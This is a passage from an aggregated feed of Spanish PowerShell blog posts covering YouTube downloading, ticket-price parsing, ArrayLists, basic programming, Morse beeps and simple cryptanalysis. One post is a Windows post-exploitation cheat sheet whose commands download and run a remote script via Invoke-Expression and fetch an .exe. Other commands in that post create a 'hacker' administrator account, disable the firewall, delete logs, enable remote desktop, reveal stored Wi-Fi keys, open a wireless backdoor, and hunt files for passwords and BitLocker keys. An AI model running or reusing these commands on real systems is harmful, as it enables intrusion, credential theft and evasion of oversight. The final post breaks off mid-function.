Quantcast
Channel: foreach | Operating systems, scripting, PowerShell and security | jesusninoc.com
Viewing all 409 articles
Browse latest View live

Descargar enlaces de Youtube para varias búsquedas

$
0
0

#Paso 1: Obtener enlaces de resultados leyendo desde un fichero
foreach($url in gc D:\enlaces.txt)
{
    $result = Invoke-WebRequest $url
    $pageresults=$result.Links.href | Select-String "\?sp=S"
    foreach($page in $pageresults)
    {
        #Paso 2: Obtener enlaces de Youtube para cada página de resultados
        Start-Sleep -Seconds 5
        $urlpage="https://www.youtube.com/"+$page
        $resultpage = Invoke-WebRequest $urlpage
        ($resultpage.Links.href | Select-String "watch" | Group-Object).Name | %{
            #Paso 3: Descargar cada enlace de Yotube con youtube-dl (descargar youtube-dl en https://rg3.github.io/youtube-dl/download.html)
            $urldownload="https://www.youtube.com"+$_
            Start-Sleep -Seconds 5
            Set-Location D:\
            D:\youtube-dl.exe $urldownload
            }
    }
    Start-Sleep -Seconds 5
}

 

The post Descargar enlaces de Youtube para varias búsquedas appeared first on Scripting and security.


Analizar la búsqueda de billetes de AVE y seleccionar el más barato

$
0
0

$buscar="-------------"
#Ficheros con todos los resultados de los billetes de AVE de cada día
ls d:\ave\*.html | %{
    #Buscar las tarifas y analizarlas para quedarse SOLO CON EL MENOR VALOR
    $valorabuscar=80
    foreach($tarifa in (gc $_.FullName | Select-String "cdgoTarifa"))
    {
        $valor=(($tarifa  | Select-String "€") -replace "<.*?>" )
        if($valor)
        {
            $partido=$valor.trim()
            if($partido -match "")
            {
                $partidobuscar=$partido.Replace('€','').Replace(',','.').trim()
                $precio=$partidobuscar.Split(' ')[0] -as [Int]
                if($precio -lt $valorabuscar)
                {
                    $buscar=$partidobuscar.Split(' ')[0]
                    $valorabuscar=$buscar
                }
            }
        }
    }
    ((gc $_ | Select-String $buscar,"hour salida","<span>AVE</span>") -replace "<.*?>").trim()
}

Analizar la búsqueda de billete de AVE

Analizar la búsqueda de billetes de AVE resultado

The post Analizar la búsqueda de billetes de AVE y seleccionar el más barato appeared first on Scripting and security.

Añadir los nombres de los procesos a una ArrayList

$
0
0

#Inicializa una nueva instancia de la clase ArrayList que está vacía y tiene la capacidad inicial predeterminada
[System.Collections.ArrayList] $arraylist = New-Object System.Collections.ArrayList

ForEach ($elemento in (ps | Group-Object Name).Name){
#Agrega un objeto al final de ArrayList, en este caso el objeto es cada nombre de proceso
[void]$arraylist.Add($elemento)
}

#Número de elementos de ArrayList
$arraylist.Count
 
#Muestra todos los elementos de ArrayList ordenados
$arraylist

The post Añadir los nombres de los procesos a una ArrayList appeared first on Scripting and security.

Añadir los nombres de los procesos a una ArrayList y ordenar los elementos

$
0
0

#Inicializa una nueva instancia de la clase ArrayList que está vacía y tiene la capacidad inicial predeterminada
[System.Collections.ArrayList] $arraylist = New-Object System.Collections.ArrayList

ForEach ($elemento in (ps | Group-Object Name).Name){
#Agrega un objeto al final de ArrayList, en este caso el objeto es cada nombre de proceso
[void]$arraylist.Add($elemento)
}

#Número de elementos de ArrayList
$arraylist.Count
 
#Ordena todos los elementos de ArrayList
$arraylist.Sort()
 
#Muestra todos los elementos de ArrayList ordenados
$arraylist

The post Añadir los nombres de los procesos a una ArrayList y ordenar los elementos appeared first on Scripting and security.

Añadir los nombres de los procesos a una ArrayList y buscar un elemento

$
0
0

#Inicializa una nueva instancia de la clase ArrayList que está vacía y tiene la capacidad inicial predeterminada
[System.Collections.ArrayList] $arraylist = New-Object System.Collections.ArrayList
 
ForEach ($elemento in (ps | Group-Object Name).Name){
#Agrega un objeto al final de ArrayList
[void]$arraylist.Add($elemento)
}

if($arraylist.IndexOf("chrome") -eq -1)
{
"Elemento no encontrado"
}
else
{
'Elemento encontrado en la posición ' + $arraylist.IndexOf("chrome")
}

The post Añadir los nombres de los procesos a una ArrayList y buscar un elemento appeared first on Scripting and security.

Windows Post Exploitation Cmdlets Execution (PowerShell)

$
0
0

Presence

This section focuses on information gathering about the victim host and the network that it’s attached to.

System

#Shows all current environmental variables
$env:ALLUSERSPROFILE
$env:APPDATA
$env:CommonProgramFiles
${env:CommonProgramFiles(x86)}
$env:CommonProgramW6432
$env:COMPUTERNAME
$env:ComSpec
$env:FP_NO_HOST_CHECK
$env:HOMEDRIVE
$env:HOMEPATH
$env:LOCALAPPDATA
$env:LOGONSERVER
$env:NUMBER_OF_PROCESSORS
$env:OS
$env:Path
$env:PATHEXT
$env:PROCESSOR_ARCHITECTURE
$env:PROCESSOR_IDENTIFIER
$env:PROCESSOR_LEVEL
$env:PROCESSOR_REVISION
$env:ProgramData
$env:ProgramFiles
${env:ProgramFiles(x86)}
$env:ProgramW6432
$env:PSModulePath
$env:PUBLIC
$env:SESSIONNAME
$env:SystemRoot
$env:TEMP
$env:TMP
$env:USERDOMAIN
$env:USERDOMAIN_ROAMINGPROFILE
$env:USERNAME
$env:USERPROFILE
$env:SystemDrive
$env:windir

#Shows all current environmental variables (macOS)
$env:_ 
$env:LOGNAME
$env:SHLVL
$env:TERM_SESSION_ID
$env:PATHEXT
$env:__CF_USER_TEXT_ENCODING
$env:PATH
$env:SSH_AUTH_SOCK
$env:TMPDIR
$env:Apple_PubSub_Socket_Render
$env:PSMODULEPATH
$env:TERM
$env:USER
$env:HOME
$env:PWD
$env:TERM_PROGRAM
$env:XPC_FLAGS
$env:LC_CTYPE
$env:SHELL
$env:TERM_PROGRAM_VERSION
$env:XPC_SERVICE_NAME

#Information about disk
Get-Disk

#Retrieving Process Information
Get-Process | Select-Object Name,Path,Company,CPU,Product,TotalProcessorTime,StartTime

#Lists running threads for a specified process
(Get-Process chrome | Select-Object Threads).Threads
Get-Process | select -expand Threads

#Last Boot Uptime
Get-CimInstance -ClassName win32_operatingsystem | select csname, lastbootuptime

#Lists the current drivers on the system
Get-Process -Module

#Events and event logs on the local and remote
Get-EventLog -LogName System -EntryType Error, Warning
Get-EventLog -LogName System -EntryType Error, Warning -ComputerName $computer

shows-all-current-environmental-variables-macos

Networking

#Network Adaptor information contains, manufacturer, MAC ID etc
Get-WmiObject -Class win32_networkadapter

#Hardware information of the network adapter
Get-NetAdapterHardwareInfo

#Returns all physical network adapters
Get-NetAdapter -Physical

#Networking statistics from the network adapter. The statistics include broadcast, multicast, discards, and errors
Get-NetAdapterStatistics

#Get the current MAC
Get-NetAdapter | Select-Object Name,MacAddress
Get-WmiObject -Class Win32_NetworkAdapterConfiguration | Select-Object Description,MACAddress

#Neighbor cache entries (The neighbor cache maintains information for each on-link neighbor, including the IP address and the associated link-layer address. In IPv4, the neighbor cache is commonly known as the Address Resolution Protocol (ARP) cache)
Get-NetNeighbor

#Get the current IP address
Get-NetIPAddress | Select-Object InterfaceAlias,IPAddress
Get-NetIPAddress -AddressFamily ipv4
Get-NetIPAddress -AddressFamily ipv6
Get-NetIPConfiguration

#Information about firewall
Get-NetFirewallAddressFilter
Get-NetFirewallApplicationFilter
Get-NetFirewallInterfaceFilter
Get-NetFirewallInterfaceTypeFilter
Get-NetFirewallPortFilter
Get-NetFirewallProfile
Get-NetFirewallRule
Get-NetFirewallSecurityFilter
Get-NetFirewallServiceFilter
Get-NetFirewallSetting

#List Firewall Rules
#Direction: Inbound
Get-NetFirewallRule | Where {$_.Direction –eq ‘Inbound’}

#TCP
Get-NetTCPConnection
Get-NetTCPConnection | Select-Object LocalPort,Remoteport

#UDP
Get-NetUDPEndpoint
(Get-NetUDPEndpoint).LocalPort

#Information about DNS
Get-DnsClient
Get-DnsClientCache
Get-DnsClientGlobalSetting
Get-DnsClientNrptGlobal
Get-DnsClientNrptPolicy
Get-DnsClientNrptRule
Get-DnsClientServerAddress

#Displays your currently shared SMB entries
Get-SmbShare
Get-WmiObject -Class Win32_Share

#Access a Router
$user="admin"
$pass="admin123"
$pair="${user}:${pass}"
$bytes=[System.Text.Encoding]::ASCII.GetBytes($pair)
$base64=[System.Convert]::ToBase64String($bytes)
$basicAuthValue="Basic $base64"
$headers=@{Authorization=$basicAuthValue}
$url='http://192.168.1.1:89/rpSys.html'
$result=(Invoke-WebRequest -Uri $url -Headers $headers)
($result.AllElements | Where tagName -eq “title”).outerText

#Connect to Access Point
$user="admin"
$pass="1234"
$pair="${user}:${pass}"
$bytes=[System.Text.Encoding]::ASCII.GetBytes($pair)
$base64=[System.Convert]::ToBase64String($bytes)
$basicAuthValue="Basic $base64"
$headers=@{Authorization=$basicAuthValue}
$url='http://192.168.1.2/index.asp'
$result=(Invoke-WebRequest -Uri $url -Headers $headers)
($result.AllElements | Where tagName -eq “title”).outerText

Users

#List your current user 
[System.Security.Principal.WindowsIdentity]::GetCurrent() 
([System.Security.Principal.WindowsIdentity]::GetCurrent()).name

#Remote user
Get-WmiObject win32_computersystem -property username -ComputerName RemoteComputer

#List local users
$adsi = [ADSI]"WinNT://$env:COMPUTERNAME"
$adsi.Children | Where-Object {$_.SchemaClassName -eq 'user'} | Select-Object Name

#List local groups
$adsi = [ADSI]"WinNT://$env:COMPUTERNAME"
$adsi.Children | Where-Object {$_.SchemaClassName -eq 'group'} | Select-Object name

#Information about user accounts
Get-WmiObject -Class Win32_UserAccount
Get-WmiObject -Class Win32_Account

#Information about group accounts
Get-WmiObject -Class Win32_Group

Configs

#Services
Get-Service

#Print the contents of the Windows hosts file
Get-Content $env:windir\System32\drivers\etc\hosts

Finding Important Files

#Gets the items in one or more specified locations
Get-ChildItem

#Recursively searches for files with a “.txt” extension in the C:\temp directory. The contents of any files matching this criteria are then searched for the term “password”
Get-ChildItem c:\temp -Filter *.txt -Recurse | Select-String password

#Searching file “TeamViewer”
Get-ChildItem c:\ -rec -ea SilentlyContinue | ForEach-Object {
Select-String "TeamViewer" -input (Get-ItemProperty -Path $_.PsPath) -AllMatches
}

#Searching IP adresses in text files
Write-Host "IP addresses:`n"
Get-ChildItem C:\Users\ -rec -ea SilentlyContinue | ForEach-Object {
Select-String "\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b" -input (Get-ItemProperty -Path $_.PsPath) -AllMatches | ForEach-Object {($_.matches)|Select-Object Value}
}

#Searching BitLocker recovery keys
#Searching content “Clave de recuperación de Cifrado de unidad BitLocker”
Get-ChildItem C:\Users\juan -rec -ea SilentlyContinue | ForEach-Object {
Select-String "Clave de recuperación de Cifrado de unidad BitLocker" -input (Get-ItemProperty -Path $_.PsPath) -AllMatches
}

Files To Pull

#Large file, but contains spill over from RAM, usually lots of good information can be pulled, but should be a last resort due to size 
Get-ChildItem $env:SystemDrive\pagefile.sys

#Prefetch files
Get-ChildItem $env:SystemRoot\Prefetch

#Portion of accessed file list within prefetch file for PowerShell.exe
Get-Content $env:SystemRoot\Prefetch\POWERSHELL_ISE.EXE-85BC6AB4.pf

#File contains the registry settings
Get-ChildItem $env:windir\System32\config -Force

#File contains the registry settings for their individual account
Get-ChildItem $env:USERPROFILE\NTUSER.DAT

#This file contains the mappings of IP addresses to host names
Get-ChildItem $env:windir\System32\drivers\etc\hosts
Get-Content $env:windir\System32\drivers\etc\hosts

Remote System Access

#Determines whether all elements of the path exist
Test-Path \\192.168.1.56\datos

#Gets the items in one or more specified locations
Get-ChildItem \\192.168.1.56\datos

#Creates a new Server Message Block (SMB) share
New-SmbShare -Name fso -Path F:\power
 
#Creates a new Server Message Block share and add permissions
New-SmbShare -Name fso -Path F:\power –FullAccess administrador -ReadAccess Everyone

#Enable remote desktop
powershell Start-Process powershell_ise -Verb runAs
Set-Location HKLM:\
$RegKey ='HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\'
Set-ItemProperty -Path $RegKey -Name fDenyTSConnections -Value 0

#View installed programs on remote machine
$credencial=Get-Credential
1..254 | %{
('192.168.1.'+$_)
if(Test-Connection ('192.168.1.'+$_) -Quiet)
{
Get-WmiObject -Class Win32_Product -ComputerName ('192.168.1.'+$_) -Credential $credencial
}
}

Auto­Start Directories

Get-ChildItem $env:SystemDrive\'ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\' -Force


Persistance

This section focuses on gaining a foothold to re­gain, or re­obtain access to a system through means of authentication, backdoors, etc..

Download

#Transfer one or more files between a client computer and a server
Start-BitsTransfer http://www.jesusninoc.com/vir.exe

Compress or Expand ZIP Archive

#Creates a new zipped (or compressed) archive file from one or more specified files or folders
Compress-Archive -LiteralPath C:\powershell\example.txt –CompressionLevel Optimal -DestinationPath C:\powershell\comprimido.zip

#Extracts files from a specified archive (zipped) file
Expand-Archive -LiteralPath C:\powershell\comprimido.zip -DestinationPath C:\powershell\descomprimir

WMI

#Information about disk
Get-WmiObject -Class win32_DiskDrive

#Retrieving the Shared Resources on the Local Computer
Get-WmiObject -Class Win32_Share

#Retrieving the Shared Resources on a Remote Computer
Get-WmiObject -Class Win32_Share -ComputerName COMPUTER

#Remote information
Get-WmiObject Win32_ComputerSystem -cn $computer
Get-WmiObject Win32_Group -cn $computer
Get-WmiObject Win32_LogicalDisk -cn $computer
Get-WmiObject Win32_NetworkClient -cn $computer
Get-WmiObject Win32_NetworkConnection -cn $computer
Get-WmiObject Win32_NetworkLoginProfile -cn $computer
Get-WmiObject Win32_NTLogEvent -cn $computer
Get-WmiObject Win32_OperatingSystem -cn $computer
Get-WmiObject Win32_Process -cn $computer
Get-WmiObject Win32_Product -cn $computer
Get-WmiObject Win32_QuickFixEngineering -cn $computer
Get-WmiObject Win32_Service -cn $computer
Get-WmiObject Win32_Share -cn $computer
Get-WmiObject Win32_StartupCommand -cn $computer
Get-WmiObject Win32_UserAccount -cn $computer
Get-WmiObject Win32_Volume -cn $computer

#Remote information (use credential)
$credenciales=Get-Credential
(Get-WmiObject Win32_AutochkSetting -ComputerName ('192.168.1.'+$_) -Credential $credenciales).SettingID
(Get-WmiObject Win32_BaseBoard -ComputerName ('192.168.1.'+$_) -Credential $credenciales).Manufacturer
(Get-WmiObject Win32_BIOS -ComputerName ('192.168.1.'+$_) -Credential $credenciales).Version
(Get-WmiObject Win32_Bus -ComputerName ('192.168.1.'+$_) -Credential $credenciales).DeviceID
Get-WmiObject Win32_Processor -ComputerName ('192.168.1.'+$_) -Credential $credenciales
Get-WmiObject Win32_SystemEnclosure -ComputerName ('192.168.1.'+$_) -Credential $credenciales
Get-WmiObject Win32_Battery -ComputerName ('192.168.1.'+$_) -Credential $credenciales
Get-WmiObject Win32_Printer -ComputerName ('192.168.1.'+$_) -Credential $credenciales

#WMI queries
$query="Select * from Msft_CliAlias"; Get-WMIObject -Query $query
$query="Select * from Win32_BaseBoard"; Get-WMIObject -Query $query
$query="Select * from Win32_BIOS"; Get-WMIObject -Query $query
$query="Select * from Win32_BootConfiguration"; Get-WMIObject -Query $query
$query="Select * from Win32_CDROMDrive"; Get-WMIObject -Query $query
$query="Select * from Win32_ComputerSystem"; Get-WMIObject -Query $query
$query="Select * from WIN32_PROCESSOR"; Get-WMIObject -Query $query
$query="Select * from Win32_ComputerSystemProduct"; Get-WMIObject -Query $query
$query="Select * from CIM_DataFile"; Get-WMIObject -Query $query
$query="Select * from WIN32_DCOMApplication"; Get-WMIObject -Query $query
$query="Select * from WIN32_DESKTOP"; Get-WMIObject -Query $query
$query="Select * from WIN32_DESKTOPMONITOR"; Get-WMIObject -Query $query
$query="Select * from Win32_DeviceMemoryAddress"; Get-WMIObject -Query $query
$query="Select * from Win32_DiskDrive"; Get-WMIObject -Query $query
$query="Select * from Win32_DiskQuota"; Get-WMIObject -Query $query
$query="Select * from Win32_DMAChannel"; Get-WMIObject -Query $query
$query="Select * from Win32_Environment"; Get-WMIObject -Query $query
$query="Select * from Win32_Directory"; Get-WMIObject -Query $query
$query="Select * from Win32_Group"; Get-WMIObject -Query $query
$query="Select * from Win32_IDEController"; Get-WMIObject -Query $query
$query="Select * from Win32_IRQResource"; Get-WMIObject -Query $query
$query="Select * from Win32_ScheduledJob"; Get-WMIObject -Query $query
$query="Select * from Win32_LoadOrderGroup"; Get-WMIObject -Query $query
$query="Select * from Win32_LogicalDisk"; Get-WMIObject -Query $query
$query="Select * from Win32_LogonSession"; Get-WMIObject -Query $query
$query="Select * from WIN32_CACHEMEMORY"; Get-WMIObject -Query $query
$query="Select * from Win32_PhysicalMemory"; Get-WMIObject -Query $query
$query="Select * from Win32_PhysicalMemoryArray"; Get-WMIObject -Query $query
$query="Select * from WIN32_NetworkClient"; Get-WMIObject -Query $query
$query="Select * from Win32_NetworkLoginProfile"; Get-WMIObject -Query $query
$query="Select * from Win32_NetworkProtocol"; Get-WMIObject -Query $query
$query="Select * from Win32_NetworkConnection"; Get-WMIObject -Query $query
$query="Select * from Win32_NetworkAdapter"; Get-WMIObject -Query $query
$query="Select * from Win32_NetworkAdapterConfiguration"; Get-WMIObject -Query $query
$query="Select * from Win32_NTDomain"; Get-WMIObject -Query $query
$query="Select * from Win32_NTLogEvent"; Get-WMIObject -Query $query
$query="Select * from Win32_NTEventlogFile"; Get-WMIObject -Query $query
$query="Select * from Win32_OnBoardDevice"; Get-WMIObject -Query $query
$query="Select * from Win32_OperatingSystem"; Get-WMIObject -Query $query
$query="Select * from Win32_PageFileUsage"; Get-WMIObject -Query $query
$query="Select * from Win32_PageFileSetting"; Get-WMIObject -Query $query
$query="Select * from Win32_DiskPartition"; Get-WMIObject -Query $query
$query="Select * from Win32_PortResource"; Get-WMIObject -Query $query
$query="Select * from Win32_PortConnector"; Get-WMIObject -Query $query
$query="Select * from Win32_Printer"; Get-WMIObject -Query $query
$query="Select * from Win32_PrinterConfiguration"; Get-WMIObject -Query $query
$query="Select * from Win32_PrintJob"; Get-WMIObject -Query $query
$query="Select * from Win32_Process"; Get-WMIObject -Query $query
$query="Select * from Win32_Product"; Get-WMIObject -Query $query
$query="Select * from Win32_QuickFixEngineering"; Get-WMIObject -Query $query
$query="Select * from Win32_QuotaSetting"; Get-WMIObject -Query $query
$query="Select * from Win32_TSAccount"; Get-WMIObject -Query $query
$query="Select * from Win32_TSNetworkAdapterSetting"; Get-WMIObject -Query $query
$query="Select * from Win32_TSPermissionsSetting"; Get-WMIObject -Query $query
$query="Select * from Win32_TerminalServiceSetting"; Get-WMIObject -Query $query
$query="Select * from Win32_OSRecoveryConfiguration"; Get-WMIObject -Query $query
$query="Select * from Win32_Registry"; Get-WMIObject -Query $query
$query="Select * from Win32_SCSIController"; Get-WMIObject -Query $query
$query="Select * from Win32_PerfRawData_PerfNet_Server"; Get-WMIObject -Query $query
$query="Select * from Win32_Service"; Get-WMIObject -Query $query
$query="Select * from Win32_ShadowCopy"; Get-WMIObject -Query $query
$query="Select * from Win32_ShadowStorage"; Get-WMIObject -Query $query
$query="Select * from Win32_Share"; Get-WMIObject -Query $query
$query="Select * from Win32_SoftwareElement"; Get-WMIObject -Query $query
$query="Select * from Win32_SoftwareFeature"; Get-WMIObject -Query $query
$query="Select * from WIN32_SoundDevice"; Get-WMIObject -Query $query
$query="Select * from Win32_StartupCommand"; Get-WMIObject -Query $query
$query="Select * from Win32_SystemAccount"; Get-WMIObject -Query $query
$query="Select * from Win32_SystemDriver"; Get-WMIObject -Query $query
$query="Select * from Win32_SystemEnclosure"; Get-WMIObject -Query $query
$query="Select * from Win32_SystemSlot"; Get-WMIObject -Query $query
$query="Select * from Win32_TapeDrive"; Get-WMIObject -Query $query
$query="Select * from Win32_TemperatureProbe"; Get-WMIObject -Query $query
$query="Select * from Win32_TimeZone"; Get-WMIObject -Query $query
$query="Select * from Win32_UninterruptiblePowerSupply"; Get-WMIObject -Query $query
$query="Select * from Win32_UserAccount"; Get-WMIObject -Query $query
$query="Select * from Win32_VoltageProbe"; Get-WMIObject -Query $query
$query="Select * from Win32_Volume"; Get-WMIObject -Query $query
$query="Select * from Win32_VolumeQuotaSetting"; Get-WMIObject -Query $query
$query="Select * from Win32_VolumeUserQuota"; Get-WMIObject -Query $query
$query="Select * from Win32_WMISetting"; Get-WMIObject -Query $query

Reg Command exit

#List
Set-Location HKLM:\
Get-ChildItem

#PowerShell execution policy
Set-Location HKLM:\
Set-Location \SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell\
Get-ChildItem

#Searching the registry “TeamViewer”
Get-ChildItem HKCU:\ -rec -ea SilentlyContinue | ForEach-Object {
Select-String "TeamViewer" -input (Get-ItemProperty -Path $_.PsPath) -AllMatches

#Searching the registry: URL
Get-ChildItem HKCU:\ -rec -ea SilentlyContinue | ForEach-Object {
Select-String "\b(ht|f)tp(s?)[^ ]*\.[^ ]*(\/[^ ]*)*\b" -input (Get-ItemProperty -Path $_.PsPath) -AllMatches | ForEach-Object {($_.matches)|Select-Object Value}
}

Deleting Logs

Remove-Item $env:windir\*.log

Uninstalling Software “AntiVirus”

Uninstall-Package

Invasive or Altering Commands

#Creats a new local (to the victim) user called ‘hacker’ with the password of ‘hacker’
$ComputerName = $env:COMPUTERNAME
$computer = [ADSI]"WinNT://$($ComputerName),computer"
$Name = 'hacker'
$user = $computer.Create('User', "$($Name)")
$password = 'hacker'
$user.SetPassword($password)
$user.SetInfo()

#Creats a new group
$ComputerName = $env:COMPUTERNAME
$computer = [ADSI]"WinNT://$($ComputerName),computer"
$Name = 'hackers'
$user = $computer.Create('Group', "$($Name)")
$user.SetInfo()

#Add a user to a group
$ComputerName = $env:COMPUTERNAME
$nombregrupo='administradores'
$group = [ADSI]"WinNT://$($Computername)/$($nombregrupo),group" 
$user = 'hacker'
$group.add("WinNT://$($user),user")

#Registers a scheduled task definition on a local computer
Register-ScheduledTask Task01 -Action (New-ScheduledTaskAction -Execute "Cmd") -Principal (New-ScheduledTaskPrincipal -GroupId "BUILTIN\administradores" -RunLevel Highest) -Settings (New-ScheduledTaskSettingsSet -RestartCount 5 -RestartInterval 60)

#Creates a new Server Message Block (SMB) share
New-SmbShare -Name fso -Path F:\power
 
#Creates a new Server Message Block share and add permissions
New-SmbShare -Name fso -Path F:\power –FullAccess administrador -ReadAccess Everyone

#Modify hosts file
Get-Content $env:windir\System32\drivers\etc\hosts
Add-Content $env:windir\System32\drivers\etc\hosts "127.0.0.1 jesusninoc.com"

#Download and execute a remote script
powershell Start-BitsTransfer -Source 'http://www.jesusninoc.com/wp-content/uploads/2014/12/config.txt' -Destination $env:TEMP\config.ps1;
powershell -File $env:TEMP\config.ps1

#Download and execute a remote script (No changes the user preference for the Windows PowerShell execution policy)
powershell Start-Process powershell_ise -Verb runAs
$script=Invoke-WebRequest 'http://www.jesusninoc.com/wp-content/uploads/2014/12/config.txt'
Invoke-Expression $script

#Proxy configuration
netsh winhttp import proxy source=ie

#Disable the Microsoft Windows Firewall
netsh advfirewall set allprofiles state off

#Creating a wireless backdoor
netsh wlan set host mode=allow ssid=WLAN_AA key=123ASBB@@
netsh wlan start host

#Wireless password
(netsh wlan show profile | Select-String "Perfil de todos los usuarios") | %{
[String]$SSID=$_
$SSID=$SSID.Split(":")[1].trim()
$SSID
netsh wlan show profile name=$SSID key=clear | Select-String 'Contenido de la clave'
}

 

The post Windows Post Exploitation Cmdlets Execution (PowerShell) appeared first on Scripting and security.

2. Programación en PowerShell para administradores de sistemas

$
0
0

Introducción

Una de las funciones que tiene el sistema operativo es la gestión de la memoria.

Los programas cuando se ejecutan y se convierten en procesos, se almacenan en la memoria, además, almacenan valores temporales que son necesarios para la ejecución correcta de los procesos.

En PowerShell se pueden utilizar datos y almacenarlos en memoria hasta que se cierra PowerShell.

Variables

En programación, las variables son espacios reservados en la memoria que pueden cambiar de contenido a lo largo de la ejecución de un programa.

Una variable corresponde a un área reservada en la memoria principal del ordenador.

Constantes

Existe un tipo de variable que no cambia el valor durante la ejecución del programa y se conoce con el nombre de constante.

Ámbito

El ámbito de una variable (llamado “scope” en inglés) es la zona del programa en la que se define la variable.

Tipos

En PowerShell no es necesario establecer el tipo de dato aunque se puede hacer indicando el tipo de variable entre corchetes [ ].

#Variable tipo numérica
[Int]$num=5
$num

Numéricas

#Enteros
$num=5
$num

Caracteres

#Caracteres
$car='c'
$car

Booleanos

$true
$false

Fechas

$fecha=Get-Date
$fecha.Date

Arrays

$arraynumeros=’12345’
Write-Host $arraynumeros
Write-Host $arraynumeros[1]

Cadenas

#Cadenas de caracteres
$cad='hola'
$cad

Ficheros

#Escribir en fichero
"Hola" | out-file hola.txt
#Leer de fichero
Get-Content hola.txt

Operaciones aritméticas

#Sumar números
$num1=5
$num2=6
$resultado=$num1+$num2
"La suma del número $num1 y el número $num2 es: " + $resultado
 
#Restar números
$num1=10
$num2=6
$resultado=$num1-$num2
"La resta del número $num1 y el número $num2 es: " + $resultado
 
#Multiplicar números
$num1=3
$num2=6
$resultado=$num1*$num2
"La multiplicación del número $num1 y el número $num2 es: " + $resultado
 
#Dividir números
$num1=10
$num2=5
$resultado=$num1/$num2
"La división del número $num1 entre el número $num2 es: " + $resultado
 
#Resto de la división de números
$num1=4
$num2=2
$resultado=$num1%$num2
"El resto de dividir el número $num1 entre el número $num2 es: " + $resultado

Operaciones lógicas

#and
(1 -eq 1) -And (2 -eq 2)
#La primera operación de comparación (1 -eq 1) es True
#La segunda operación de comparación (2 -eq 2) es True
#El resultado de juntar las dos operaciones es True ya que True y True es True

#or
(1 -eq 1) -or (2 -eq 2)
#La primera operación de comparación (1 -eq 1) es True
#La segunda operación de comparación (2 -eq 2) es True
#El resultado de juntar las dos operaciones es True ya que True o True es True

#not
(1 -eq 1) -And -Not (2 -eq 2)
#La primera operación de comparación (1 -eq 1) es True
#La segunda operación de comparación (2 -eq 2) es Not True es decir False
#El resultado de juntar las dos operaciones es False ya que True y False es False

Operaciones de comparación

#-eq (Equal to -> Igual a)
$numero=1
$resultado=$numero -eq 1
#El resultado es True, esto significa que el resultado es verdadero
$resultado

#-lt (Less than -> Menos que)
$numero1=1
$numero2=2
$resultado=$numero1 -lt $numero2
#El resultado es True, esto significa que el resultado es verdadero y que el número 2 es menor que el número 1
$resultado

#-gt (Greater than -> Más que)
$numero1=1
$numero2=2
$resultado=$numero1 -gt $numero2
#El resultado es False, esto significa que el resultado es falso y que el número 1 no es mayor que el número 2
$resultado
 
#-ge (Greater than or Equal to -> Mayor o igual a)
$numero1=1
$numero2=2
$resultado=$numero1 -ge $numero2
#El resultado es False, esto significa que el resultado es falso y que el número 1 no es mayor o igual que el número 2
$resultado

#-le (Less than or equal to - Menor o igual a)
$numero1=1
$numero2=2
$resultado=$numero1 -le $numero2
#El resultado es True, esto significa que el resultado es verdadero y que el número 1 es menor o igual que el número 1
$resultado

#-ne (Not equal to - No es igual a)
$numero=1
$resultado=$numero -ne 1
#El resultado es False, esto significa que es falso que el número 1 no sea igual al número 1
$resultado

Sentencias condicionales

#if
$valor=56
if($valor -eq 5)
{
Write-Host $valor
}

#if-else
$valor=56
if($valor -eq 5)
{
Write-Host $valor
}
else
{
Write-Host "Distinto de 5"
}

Sentencias de repetición

#while
$i=1
while($i -lt 11){
$i
$i++
}
 
#do-while
$i=1
do{
$i
$i++
}while($i -lt 11)
 
#for
for($i=1;$i -lt 11;$i++)
{
$i
}
 
#foreach
foreach($i in 1..10)
{
$i
}
 
#foreach abreviado
1..10 | % {$_}

Funciones

#Introducir usuario y decir si es correcto
$user=Read-Host "Introducir usuario"
if($user -eq "pepito")
{
Write-Host "Correcto"
}
else
{
Write-Host "No correcto"
}

The post 2. Programación en PowerShell para administradores de sistemas appeared first on Scripting and security.

Ejecutar cmdlets en PowerShell leyendo desde un fichero utilizando SendKeys


Detectar un mensaje enviado en código Morse mediante sonidos utilizando la tarjeta de sonido y el programa SDRSharp

$
0
0

Script para enviar código Morse en PowerShell

#Morse code
#A|. –
#B|– . . .
#C|– . – .
#Ch|– – – –
#D|– . .
#E|.
#F|. . – .
#G|– – .
#H|. . . .
#I|. .
#J|. – – –
#K|– . –
#L|. – . .
#M|– –
#N|– .
#Ñ|– – . – –
#O|– – –
#P|. – – .
#Q|– – . –
#R|. – .
#S|. . .
#T|–
#U|. . –
#V|. . . –
#W|. – –
#X|– . . –
#Y|– . – –
#Z|– – . .

Get-Content .\textomorse.txt | %{
$letter=$_.split("|")[0]
$morse=$_.split("|")[1]
$values=$morse.split(" ")
Write-Host $letter,$morse
foreach($sound in $values)
{
if($sound -eq ".")
{
#2000 Hz
[console]::beep(2000,500)
}
elseif($sound -eq "–")
{
[console]::beep(2000,800)
}
Start-Sleep -Seconds 1
}
}

El texto enviado en código morse es

El texto recibido en la tarjeta de sonido es

Explicación sobre el texto recibido en la tarjeta de sonido

The post Detectar un mensaje enviado en código Morse mediante sonidos utilizando la tarjeta de sonido y el programa SDRSharp appeared first on Scripting and security.

Criptoanálisis básico con PowerShell (parte 1)

$
0
0

#Realizar un criptoanálisis básico para descifrar un texto, decrementar valores a cada letra
#Descifrar la cadena lj|j
$descifrar="lj|j"

#Añadir un diccionario a una ArrayList
#Inicializa una nueva instancia de la clase ArrayList que está vacía y tiene la capacidad inicial predeterminada
[System.Collections.ArrayList] $arraylist = New-Object System.Collections.ArrayList
ForEach ($elemento in gc .\diccionario.txt){
#Agrega un objeto al final de ArrayList
[void]$arraylist.Add($elemento)
}

for($var=0;$var -lt 20;$var=$var+1){
$textodescifrado=(0..($descifrar.Length-1) | % {[char]::ConvertFromUtf32([char]::ConvertToUtf32($descifrar[$_].ToString(),0)-$var)}) -join ""
#Una vez se le ha aplicado la operación a la palabra comprobamos resultante se encuentra en un diccionario
if($arraylist.IndexOf($textodescifrado) -eq -1){"Elemento: $textodescifrado no encontrado"}
else{"Elemento $textodescifrado encontrado en la posición " + $arraylist.IndexOf($textodescifrado)}
}

The post Criptoanálisis básico con PowerShell (parte 1) appeared first on Scripting and security.

Criptoanálisis básico con PowerShell (parte 2)

$
0
0

Function Combinaciones
{
 Param(
 [Object[]]$Object,
 [String]$Seperator,
 [UInt32]$CurIndex = 0,
 [String]$Return = ""
 )

 $MaxIndex = $Object.Count - 1
